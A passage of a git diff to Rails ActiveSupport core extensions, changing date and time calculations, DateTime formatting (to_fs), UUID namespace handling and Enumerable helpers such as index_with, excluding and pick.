   #   date.to_time(:local)           # => 2007-11-10 00:00:00 0800
   #
   #   date.to_time(:utc)             # => 2007-11-10 00:00:00 UTC
+  #
+  # NOTE: The +:local+ timezone is Ruby's *process* timezone, i.e. <tt>ENV['TZ']</tt>.
+  # If the <b>application's</b> timezone is needed, then use +in_time_zone+ instead.
   def to_time(form = :local)
     raise ArgumentError, "Expected :local or :utc, got #{form.inspect}." unless [:local, :utc].include?(form)
-    ::Time.send(form, year, month, day)
+    ::Time.public_send(form, year, month, day)
   end
 
+  silence_redefinition_of_method :xmlschema
+
   # Returns a string which represents the time in used time zone as DateTime
   # defined by XML Schema:
   #
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
index da23fe4892140..2dcf97cff80e9 100644
--- a/activesupport/lib/active_support/core_ext/date/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/core_ext/date_and_time/zones"
 
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index f2ba7fdda51a0..e713cee1fed96 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -1,15 +1,18 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/try"
+require "active_support/core_ext/date_time/conversions"
 
 module DateAndTime
   module Calculations
     DAYS_INTO_WEEK = {
-      monday: 0,
-      tuesday: 1,
-      wednesday: 2,
-      thursday: 3,
-      friday: 4,
-      saturday: 5,
-      sunday: 6
+      sunday: 0,
+      monday: 1,
+      tuesday: 2,
+      wednesday: 3,
+      thursday: 4,
+      friday: 5,
+      saturday: 6
     }
     WEEKEND_DAYS = [ 6, 0 ]
 
@@ -18,26 +21,28 @@ def yesterday
       advance(days: -1)
     end
 
-    # Returns a new date/time representing the previous day.
-    def prev_day
-      advance(days: -1)
-    end
-
     # Returns a new date/time representing tomorrow.
     def tomorrow
       advance(days: 1)
     end
 
-    # Returns a new date/time representing the next day.
-    def next_day
-      advance(days: 1)
-    end
-
     # Returns true if the date/time is today.
     def today?
       to_date == ::Date.current
     end
 
+    # Returns true if the date/time is tomorrow.
+    def tomorrow?
+      to_date == ::Date.current.tomorrow
+    end
+    alias :next_day? :tomorrow?
+
+    # Returns true if the date/time is yesterday.
+    def yesterday?
+      to_date == ::Date.current.yesterday
+    end
+    alias :prev_day? :yesterday?
+
     # Returns true if the date/time is in the past.
     def past?
       self < self.class.current
@@ -58,6 +63,16 @@ def on_weekday?
       !WEEKEND_DAYS.include?(wday)
     end
 
+    # Returns true if the date/time falls before <tt>date_or_time</tt>.
+    def before?(date_or_time)
+      self < date_or_time
+    end
+
+    # Returns true if the date/time falls after <tt>date_or_time</tt>.
+    def after?(date_or_time)
+      self > date_or_time
+    end
+
     # Returns a new date/time the specified number of days ago.
     def days_ago(days)
       advance(days: -days)
@@ -122,7 +137,7 @@ def beginning_of_month
     #   now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
     #   now.beginning_of_quarter # => Wed, 01 Jul 2015 00:00:00 +0000
     def beginning_of_quarter
-      first_quarter_month = [10, 7, 4, 1].detect { |m| m <= month }
+      first_quarter_month = month - (2 + month) % 3
       beginning_of_month.change(month: first_quarter_month)
     end
     alias :at_beginning_of_quarter :beginning_of_quarter
@@ -137,11 +152,21 @@ def beginning_of_quarter
     #   now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
     #   now.end_of_quarter # => Wed, 30 Sep 2015 23:59:59 +0000
     def end_of_quarter
-      last_quarter_month = [3, 6, 9, 12].detect { |m| m >= month }
+      last_quarter_month = month + (12 - month) % 3
       beginning_of_month.change(month: last_quarter_month).end_of_month
     end
     alias :at_end_of_quarter :end_of_quarter
 
+    # Returns the quarter for a date/time.
+    #
+    #   Date.new(2010, 1, 31).quarter  # => 1
+    #   Date.new(2010, 4, 12).quarter  # => 2
+    #   Date.new(2010, 9, 15).quarter  # => 3
+    #   Date.new(2010, 12, 25).quarter # => 4
+    def quarter
+      (month / 3.0).ceil
+    end
+
     # Returns a new date/time at the beginning of the year.
     #
     #   today = Date.today # => Fri, 10 Jul 2015
@@ -186,21 +211,11 @@ def next_weekday
       end
     end
 
-    # Short-hand for months_since(1).
-    def next_month
-      months_since(1)
-    end
-
-    # Short-hand for months_since(3)
+    # Short-hand for <tt>months_since(3)</tt>.
     def next_quarter
       months_since(3)
     end
 
-    # Short-hand for years_since(1).
-    def next_year
-      years_since(1)
-    end
-
     # Returns a new date/time representing the given day in the previous week.
     # Week is assumed to start on +start_day+, default is
     # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
@@ -221,31 +236,28 @@ def prev_weekday
     end
     alias_method :last_weekday, :prev_weekday
 
-    # Short-hand for months_ago(1).
-    def prev_month
+    # Short-hand for <tt>months_ago(1)</tt>.
+    def last_month
       months_ago(1)
     end
-    alias_method :last_month, :prev_month
 
-    # Short-hand for months_ago(3).
+    # Short-hand for <tt>months_ago(3)</tt>.
     def prev_quarter
       months_ago(3)
     end
     alias_method :last_quarter, :prev_quarter
 
-    # Short-hand for years_ago(1).
-    def prev_year
+    # Short-hand for <tt>years_ago(1)</tt>.
+    def last_year
       years_ago(1)
     end
-    alias_method :last_year, :prev_year
 
     # Returns the number of days to the start of the week on the given day.
     # Week is assumed to start on +start_day+, default is
     # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
     def days_to_week_start(start_day = Date.beginning_of_week)
-      start_day_number = DAYS_INTO_WEEK[start_day]
-      current_day_number = wday != 0 ? wday - 1 : 6
-      (current_day_number - start_day_number) % 7
+      start_day_number = DAYS_INTO_WEEK.fetch(start_day)
+      (wday - start_day_number) % 7
     end
 
     # Returns a new date/time representing the start of this week on the given day.
@@ -320,6 +332,28 @@ def all_year
       beginning_of_year..end_of_year
     end
 
+    # Returns a new date/time representing the next occurrence of the specified day of week.
+    #
+    #   today = Date.today               # => Thu, 14 Dec 2017
+    #   today.next_occurring(:monday)    # => Mon, 18 Dec 2017
+    #   today.next_occurring(:thursday)  # => Thu, 21 Dec 2017
+    def next_occurring(day_of_week)
+      from_now = DAYS_INTO_WEEK.fetch(day_of_week) - wday
+      from_now += 7 unless from_now > 0
+      advance(days: from_now)
+    end
+
+    # Returns a new date/time representing the previous occurrence of the specified day of week.
+    #
+    #   today = Date.today               # => Thu, 14 Dec 2017
+    #   today.prev_occurring(:monday)    # => Mon, 11 Dec 2017
+    #   today.prev_occurring(:thursday)  # => Thu, 07 Dec 2017
+    def prev_occurring(day_of_week)
+      ago = wday - DAYS_INTO_WEEK.fetch(day_of_week)
+      ago += 7 unless ago > 0
+      advance(days: -ago)
+    end
+
     private
       def first_hour(date_or_time)
         date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
@@ -330,7 +364,7 @@ def last_hour(date_or_time)
       end
 
       def days_span(day)
-        (DAYS_INTO_WEEK[day] - DAYS_INTO_WEEK[Date.beginning_of_week]) % 7
+        (DAYS_INTO_WEEK.fetch(day) - DAYS_INTO_WEEK.fetch(Date.beginning_of_week)) % 7
       end
 
       def copy_time_to(other)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb
index db95ae0db5ebb..4a4ef5bafae17 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/compatibility.rb
@@ -1,22 +1,23 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/module/redefine_method"
 
 module DateAndTime
   module Compatibility
-    # If true, +to_time+ preserves the timezone offset of receiver.
+    # Change the output of <tt>ActiveSupport::TimeZone.utc_to_local</tt>.
     #
-    # NOTE: With Ruby 2.4+ the default for +to_time+ changed from
-    # converting to the local system time, to preserving the offset
-    # of the receiver. For backwards compatibility we're overriding
-    # this behavior, but new apps will have an initializer that sets
-    # this to true, because the new behavior is preferred.
-    mattr_accessor(:preserve_timezone, instance_writer: false) { false }
-
-    def to_time
-      if preserve_timezone
-        @_to_time_with_instance_offset ||= getlocal(utc_offset)
-      else
-        @_to_time_with_system_offset ||= getlocal
-      end
-    end
+    # When +true+, it returns local times with a UTC offset, with +false+ local
+    # times are returned as UTC.
+    #
+    #   # Given this zone:
+    #   zone = ActiveSupport::TimeZone["Eastern Time (US & Canada)"]
+    #
+    #   # With `utc_to_local_returns_utc_offset_times = false`, local time is converted to UTC:
+    #   zone.utc_to_local(Time.utc(2000, 1)) # => 1999-12-31 19:00:00 UTC
+    #
+    #   # With `utc_to_local_returns_utc_offset_times = true`, local time is returned with UTC offset:
+    #   zone.utc_to_local(Time.utc(2000, 1)) # => 1999-12-31 19:00:00 -0500
+    mattr_accessor :utc_to_local_returns_utc_offset_times, instance_writer: false, default: false
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
index edd724f1d0266..fb6a27cb27fda 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module DateAndTime
   module Zones
     # Returns the simultaneous time in <tt>Time.zone</tt> if a zone is given or
@@ -27,7 +29,6 @@ def in_time_zone(zone = ::Time.zone)
     end
 
     private
-
       def time_with_zone(time, zone)
         if time
           ActiveSupport::TimeWithZone.new(time.utc? ? time : time.getutc, zone)
diff --git a/activesupport/lib/active_support/core_ext/date_time.rb b/activesupport/lib/active_support/core_ext/date_time.rb
index 6fd498f86458b..b3d6773e4fc2b 100644
--- a/activesupport/lib/active_support/core_ext/date_time.rb
+++ b/activesupport/lib/active_support/core_ext/date_time.rb
@@ -1,5 +1,7 @@
-require "active_support/core_ext/date_time/acts_like"
-require "active_support/core_ext/date_time/blank"
-require "active_support/core_ext/date_time/calculations"
-require "active_support/core_ext/date_time/compatibility"
-require "active_support/core_ext/date_time/conversions"
+# frozen_string_literal: true
+
+require_relative "date_time/acts_like"
+require_relative "date_time/blank"
+require_relative "date_time/calculations"
+require_relative "date_time/compatibility"
+require_relative "date_time/conversions"
diff --git a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
index 6f50f55a5312a..5dccdfe2192f2 100644
--- a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/core_ext/object/acts_like"
 
diff --git a/activesupport/lib/active_support/core_ext/date_time/blank.rb b/activesupport/lib/active_support/core_ext/date_time/blank.rb
index b475fd926d376..49290bf8d35f7 100644
--- a/activesupport/lib/active_support/core_ext/date_time/blank.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/blank.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "date"
 
-class DateTime #:nodoc:
+class DateTime # :nodoc:
   # No DateTime is ever blank:
   #
   #   DateTime.now.blank? # => false
@@ -9,4 +11,8 @@ class DateTime #:nodoc:
   def blank?
     false
   end
+
+  def present?
+    true
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 70d5c9af8ed5d..a63506809a98e 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 
 class DateTime
@@ -47,13 +49,23 @@ def subsec
   #   DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => DateTime.new(1981, 8, 1, 22, 35, 0)
   #   DateTime.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => DateTime.new(1981, 8, 29, 0, 0, 0)
   def change(options)
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_fraction = Rational(new_nsec, 1000000000)
+    else
+      new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+      new_fraction = Rational(new_usec, 1000000)
+    end
+
+    raise ArgumentError, "argument out of range" if new_fraction >= 1
+
     ::DateTime.civil(
       options.fetch(:year, year),
       options.fetch(:month, month),
       options.fetch(:day, day),
       options.fetch(:hour, hour),
       options.fetch(:min, options[:hour] ? 0 : min),
-      options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec + sec_fraction),
+      options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec) + new_fraction,
       options.fetch(:offset, offset),
       options.fetch(:start, start)
     )
@@ -63,6 +75,10 @@ def change(options)
   # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
   # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
   # <tt>:minutes</tt>, <tt>:seconds</tt>.
+  #
+  # Just like Date#advance, increments are applied in order of time units from
+  # largest to smallest. This order can affect the result around the end of a
+  # month.
   def advance(options)
     unless options[:weeks].nil?
       options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -98,7 +114,7 @@ def ago(seconds)
   # instance time. Do not use this method in combination with x.months, use
   # months_since instead!
   def since(seconds)
-    self + Rational(seconds.round, 86400)
+    self + Rational(seconds, 86400)
   end
   alias :in :since
 
@@ -122,7 +138,7 @@ def middle_of_day
 
   # Returns a new DateTime representing the end of the day (23:59:59).
   def end_of_day
-    change(hour: 23, min: 59, sec: 59)
+    change(hour: 23, min: 59, sec: 59, usec: Rational(999999999, 1000))
   end
   alias :at_end_of_day :end_of_day
 
@@ -134,7 +150,7 @@ def beginning_of_hour
 
   # Returns a new DateTime representing the end of the hour (hh:59:59).
   def end_of_hour
-    change(min: 59, sec: 59)
+    change(min: 59, sec: 59, usec: Rational(999999999, 1000))
   end
   alias :at_end_of_hour :end_of_hour
 
@@ -146,7 +162,7 @@ def beginning_of_minute
 
   # Returns a new DateTime representing the end of the minute (hh:mm:59).
   def end_of_minute
-    change(sec: 59)
+    change(sec: 59, usec: Rational(999999999, 1000))
   end
   alias :at_end_of_minute :end_of_minute
 
diff --git a/activesupport/lib/active_support/core_ext/date_time/compatibility.rb b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb
index 30bb7f4a60487..3b8d82b794935 100644
--- a/activesupport/lib/active_support/core_ext/date_time/compatibility.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/compatibility.rb
@@ -1,5 +1,16 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/date_and_time/compatibility"
+require "active_support/core_ext/module/redefine_method"
 
 class DateTime
-  prepend DateAndTime::Compatibility
+  include DateAndTime::Compatibility
+
+  silence_redefinition_of_method :to_time
+
+  # Return an instance of +Time+ with the same UTC offset
+  # as +self+.
+  def to_time
+    getlocal(utc_offset)
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index d9b3743858de5..2bf464f0d7a42 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/inflector/methods"
 require "active_support/core_ext/time/conversions"
@@ -5,40 +7,42 @@
 require "active_support/values/time_zone"
 
 class DateTime
-  # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
+  # Convert to a formatted string. See +Time::DATE_FORMATS+ for predefined formats.
+  #
+  # This method is aliased to <tt>to_formatted_s</tt>.
   #
-  # This method is aliased to <tt>to_s</tt>.
+  # ==== Examples
   #
-  # === Examples
   #   datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
   #
-  #   datetime.to_formatted_s(:db)            # => "2007-12-04 00:00:00"
-  #   datetime.to_s(:db)                      # => "2007-12-04 00:00:00"
-  #   datetime.to_s(:number)                  # => "20071204000000"
-  #   datetime.to_formatted_s(:short)         # => "04 Dec 00:00"
-  #   datetime.to_formatted_s(:long)          # => "December 04, 2007 00:00"
-  #   datetime.to_formatted_s(:long_ordinal)  # => "December 4th, 2007 00:00"
-  #   datetime.to_formatted_s(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
-  #   datetime.to_formatted_s(:iso8601)       # => "2007-12-04T00:00:00+00:00"
+  #   datetime.to_fs(:db)            # => "2007-12-04 00:00:00"
+  #   datetime.to_formatted_s(:db)   # => "2007-12-04 00:00:00"
+  #   datetime.to_fs(:number)        # => "20071204000000"
+  #   datetime.to_fs(:short)         # => "04 Dec 00:00"
+  #   datetime.to_fs(:long)          # => "December 04, 2007 00:00"
+  #   datetime.to_fs(:long_ordinal)  # => "December 4th, 2007 00:00"
+  #   datetime.to_fs(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
+  #   datetime.to_fs(:iso8601)       # => "2007-12-04T00:00:00+00:00"
+  #
+  # ==== Adding your own datetime formats to +to_fs+
   #
-  # == Adding your own datetime formats to to_formatted_s
   # DateTime formats are shared with Time. You can add your own to the
-  # Time::DATE_FORMATS hash. Use the format name as the hash key and
+  # +Time::DATE_FORMATS+ hash. Use the format name as the hash key and
   # either a strftime string or Proc instance that takes a time or
   # datetime argument as the value.
   #
   #   # config/initializers/time_formats.rb
   #   Time::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
-  def to_formatted_s(format = :default)
+  def to_fs(format = :default)
     if formatter = ::Time::DATE_FORMATS[format]
       formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
     else
-      to_default_s
+      to_s
     end
   end
-  alias_method :to_default_s, :to_s if instance_methods(false).include?(:to_s)
-  alias_method :to_s, :to_formatted_s
+  alias_method :to_formatted_s, :to_fs
+
 
   # Returns a formatted string of the offset from UTC, or an alternative
   # string if the time zone is already UTC.
@@ -52,7 +56,7 @@ def formatted_offset(colon = true, alternate_utc_string = nil)
 
   # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005 14:30:00 +0000".
   def readable_inspect
-    to_s(:rfc822)
+    to_fs(:rfc822)
   end
   alias_method :default_inspect, :inspect
   alias_method :inspect, :readable_inspect
@@ -94,7 +98,6 @@ def nsec
   end
 
   private
-
     def offset_in_seconds
       (offset * 86400).to_i
     end
diff --git a/activesupport/lib/active_support/core_ext/digest.rb b/activesupport/lib/active_support/core_ext/digest.rb
new file mode 100644
index 0000000000000..3f1d38e418fb2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/digest.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_relative "digest/uuid"
diff --git a/activesupport/lib/active_support/core_ext/digest/uuid.rb b/activesupport/lib/active_support/core_ext/digest/uuid.rb
index e6d60e3267fbe..0f06a97980907 100644
--- a/activesupport/lib/active_support/core_ext/digest/uuid.rb
+++ b/activesupport/lib/active_support/core_ext/digest/uuid.rb
@@ -1,27 +1,32 @@
+# frozen_string_literal: true
+
 require "securerandom"
+require "openssl"
 
 module Digest
   module UUID
-    DNS_NAMESPACE  = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
-    URL_NAMESPACE  = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
-    OID_NAMESPACE  = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
-    X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" #:nodoc:
+    DNS_NAMESPACE  = "k\xA7\xB8\x10\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" # :nodoc:
+    URL_NAMESPACE  = "k\xA7\xB8\x11\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" # :nodoc:
+    OID_NAMESPACE  = "k\xA7\xB8\x12\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" # :nodoc:
+    X500_NAMESPACE = "k\xA7\xB8\x14\x9D\xAD\x11\xD1\x80\xB4\x00\xC0O\xD40\xC8" # :nodoc:
 
     # Generates a v5 non-random UUID (Universally Unique IDentifier).
     #
-    # Using Digest::MD5 generates version 3 UUIDs; Digest::SHA1 generates version 5 UUIDs.
+    # Using OpenSSL::Digest::MD5 generates version 3 UUIDs; OpenSSL::Digest::SHA1 generates version 5 UUIDs.
     # uuid_from_hash always generates the same UUID for a given name and namespace combination.
     #
-    # See RFC 4122 for details of UUID at: http://www.ietf.org/rfc/rfc4122.txt
-    def self.uuid_from_hash(hash_class, uuid_namespace, name)
-      if hash_class == Digest::MD5
+    # See RFC 4122 for details of UUID at: https://www.ietf.org/rfc/rfc4122.txt
+    def self.uuid_from_hash(hash_class, namespace, name)
+      if hash_class == Digest::MD5 || hash_class == OpenSSL::Digest::MD5
         version = 3
-      elsif hash_class == Digest::SHA1
+      elsif hash_class == Digest::SHA1 || hash_class == OpenSSL::Digest::SHA1
         version = 5
       else
-        raise ArgumentError, "Expected Digest::SHA1 or Digest::MD5, got #{hash_class.name}."
+        raise ArgumentError, "Expected OpenSSL::Digest::SHA1 or OpenSSL::Digest::MD5, got #{hash_class.name}."
       end
 
+      uuid_namespace = pack_uuid_namespace(namespace)
+
       hash = hash_class.new
       hash.update(uuid_namespace)
       hash.update(name)
@@ -33,19 +38,39 @@ def self.uuid_from_hash(hash_class, uuid_namespace, name)
       "%08x-%04x-%04x-%04x-%04x%08x" % ary
     end
 
-    # Convenience method for uuid_from_hash using Digest::MD5.
+    # Convenience method for uuid_from_hash using OpenSSL::Digest::MD5.
     def self.uuid_v3(uuid_namespace, name)
-      uuid_from_hash(Digest::MD5, uuid_namespace, name)
+      uuid_from_hash(OpenSSL::Digest::MD5, uuid_namespace, name)
     end
 
-    # Convenience method for uuid_from_hash using Digest::SHA1.
+    # Convenience method for uuid_from_hash using OpenSSL::Digest::SHA1.
     def self.uuid_v5(uuid_namespace, name)
-      uuid_from_hash(Digest::SHA1, uuid_namespace, name)
+      uuid_from_hash(OpenSSL::Digest::SHA1, uuid_namespace, name)
     end
 
     # Convenience method for SecureRandom.uuid.
     def self.uuid_v4
       SecureRandom.uuid
     end
+
+    # Returns the nil UUID. This is a special form of UUID that is specified to
+    # have all 128 bits set to zero.
+    def self.nil_uuid
+      "00000000-0000-0000-0000-000000000000"
+    end
+
+    def self.pack_uuid_namespace(namespace)
+      if [DNS_NAMESPACE, OID_NAMESPACE, URL_NAMESPACE, X500_NAMESPACE].include?(namespace)
+        namespace
+      else
+        match_data = namespace.match(/\A(\h{8})-(\h{4})-(\h{4})-(\h{4})-(\h{4})(\h{8})\z/)
+
+        raise ArgumentError, "Only UUIDs are valid namespace identifiers" unless match_data.present?
+
+        match_data.captures.map { |s| s.to_i(16) }.pack("NnnnnN")
+      end
+    end
+
+    private_class_method :pack_uuid_namespace
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 90d7d2947f95d..3c6fa964de414 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -1,35 +1,52 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module EnumerableCoreExt # :nodoc:
+    module Constants
+      private
+        def const_missing(name)
+          if name == :SoleItemExpectedError
+            ::ActiveSupport::EnumerableCoreExt::SoleItemExpectedError
+          else
+            super
+          end
+        end
+    end
+  end
+end
+
 module Enumerable
-  # Calculates a sum from the elements.
-  #
-  #  payments.sum { |p| p.price * p.tax_rate }
-  #  payments.sum(&:price)
-  #
-  # The latter is a shortcut for:
-  #
-  #  payments.inject(0) { |sum, p| sum + p.price }
-  #
-  # It can also calculate the sum without the use of a block.
-  #
-  #  [5, 15, 10].sum # => 30
-  #  ['foo', 'bar'].sum # => "foobar"
-  #  [[1, 2], [3, 1, 5]].sum # => [1, 2, 3, 1, 5]
+  # Error generated by +sole+ when called on an enumerable that doesn't have
+  # exactly one item.
+  class SoleItemExpectedError < StandardError; end
+
+  # HACK: For performance reasons, Enumerable shouldn't have any constants of its own.
+  # So we move SoleItemExpectedError into ActiveSupport::EnumerableCoreExt.
+  ActiveSupport::EnumerableCoreExt::SoleItemExpectedError = remove_const(:SoleItemExpectedError)
+  singleton_class.prepend(ActiveSupport::EnumerableCoreExt::Constants)
+
+  # Calculates the minimum from the extracted elements.
   #
-  # The default sum of an empty list is zero. You can override this default:
+  #   payments = [Payment.new(5), Payment.new(15), Payment.new(10)]
+  #   payments.minimum(:price) # => 5
+  def minimum(key)
+    map(&key).min
+  end
+
+  # Calculates the maximum from the extracted elements.
   #
-  #  [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
-  def sum(identity = nil, &block)
-    if block_given?
-      map(&block).sum(identity)
-    else
-      sum = identity ? inject(identity, :+) : inject(:+)
-      sum || identity || 0
-    end
+  #   payments = [Payment.new(5), Payment.new(15), Payment.new(10)]
+  #   payments.maximum(:price) # => 15
+  def maximum(key)
+    map(&key).max
   end
 
-  # Convert an enumerable to a hash.
+  # Convert an enumerable to a hash, using the block result as the key and the
+  # element as the value.
   #
   #   people.index_by(&:login)
   #   # => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
+  #
   #   people.index_by { |person| "#{person.first_name} #{person.last_name}" }
   #   # => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
   def index_by
@@ -42,6 +59,33 @@ def index_by
     end
   end
 
+  # Convert an enumerable to a hash, using the element as the key and the block
+  # result as the value.
+  #
+  #   post = Post.new(title: "hey there", body: "what's up?")
+  #
+  #   %i( title body ).index_with { |attr_name| post.public_send(attr_name) }
+  #   # => { title: "hey there", body: "what's up?" }
+  #
+  # If an argument is passed instead of a block, it will be used as the value
+  # for all elements:
+  #
+  #   %i( created_at updated_at ).index_with(Time.now)
+  #   # => { created_at: 2020-03-09 22:31:47, updated_at: 2020-03-09 22:31:47 }
+  def index_with(default = (no_default = true))
+    if block_given?
+      result = {}
+      each { |elem| result[elem] = yield(elem) }
+      result
+    elsif no_default
+      to_enum(:index_with) { size if respond_to?(:size) }
+    else
+      result = {}
+      each { |elem| result[elem] = default }
+      result
+    end
+  end
+
   # Returns +true+ if the enumerable has more than 1 element. Functionally
   # equivalent to <tt>enum.to_a.size > 1</tt>. Can be called with a block too,
   # much like any?, so <tt>people.many? { |p| p.age > 26 }</tt> returns +true+
@@ -49,8 +93,8 @@ def index_by
   def many?
     cnt = 0
     if block_given?
-      any? do |element|
-        cnt += 1 if yield element
+      any? do |*args|
+        cnt += 1 if yield(*args)
         cnt > 1
       end
     else
@@ -58,24 +102,40 @@ def many?
     end
   end
 
+  # Returns a new array that includes the passed elements.
+  #
+  #   [ 1, 2, 3 ].including(4, 5)
+  #   # => [ 1, 2, 3, 4, 5 ]
+  #
+  #   ["David", "Rafael"].including %w[ Aaron Todd ]
+  #   # => ["David", "Rafael", "Aaron", "Todd"]
+  def including(*elements)
+    to_a.including(*elements)
+  end
+
   # The negative of the <tt>Enumerable#include?</tt>. Returns +true+ if the
   # collection does not include the object.
   def exclude?(object)
     !include?(object)
   end
 
-  # Returns a copy of the enumerable without the specified elements.
+  # Returns a copy of the enumerable excluding the specified elements.
   #
-  #   ["David", "Rafael", "Aaron", "Todd"].without "Aaron", "Todd"
+  #   ["David", "Rafael", "Aaron", "Todd"].excluding "Aaron", "Todd"
   #   # => ["David", "Rafael"]
   #
-  #   {foo: 1, bar: 2, baz: 3}.without :bar
+  #   ["David", "Rafael", "Aaron", "Todd"].excluding %w[ Aaron Todd ]
+  #   # => ["David", "Rafael"]
+  #
+  #   {foo: 1, bar: 2, baz: 3}.excluding :bar
   #   # => {foo: 1, baz: 3}
-  def without(*elements)
+  def excluding(*elements)
+    elements.flatten!(1)
     reject { |element| elements.include?(element) }
   end
+  alias :without :excluding
 
-  # Convert an enumerable to an array based on the given key.
+  # Extract the given key from each element in the enumerable.
   #
   #   [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name)
   #   # => ["David", "Rafael", "Aaron"]
@@ -86,50 +146,134 @@ def pluck(*keys)
     if keys.many?
       map { |element| keys.map { |key| element[key] } }
     else
-      map { |element| element[keys.first] }
+      key = keys.first
+      map { |element| element[key] }
+    end
+  end
+
+  # Extract the given key from the first element in the enumerable.
+  #
+  #   [{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name)
+  #   # => "David"
+  #
+  #   [{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name)
+  #   # => [1, "David"]
+  def pick(*keys)
+    return if none?
+
+    if keys.many?
+      keys.map { |key| first[key] }
+    else
+      first[keys.first]
+    end
+  end
+
+  # Returns a new +Array+ without the blank items.
+  # Uses Object#blank? for determining if an item is blank.
+  #
+  #   [1, "", nil, 2, " ", [], {}, false, true].compact_blank
+  #   # =>  [1, 2, true]
+  #
+  #   Set.new([nil, "", 1, false]).compact_blank
+  #   # => [1]
+  #
+  # When called on a +Hash+, returns a new +Hash+ without the blank values.
+  #
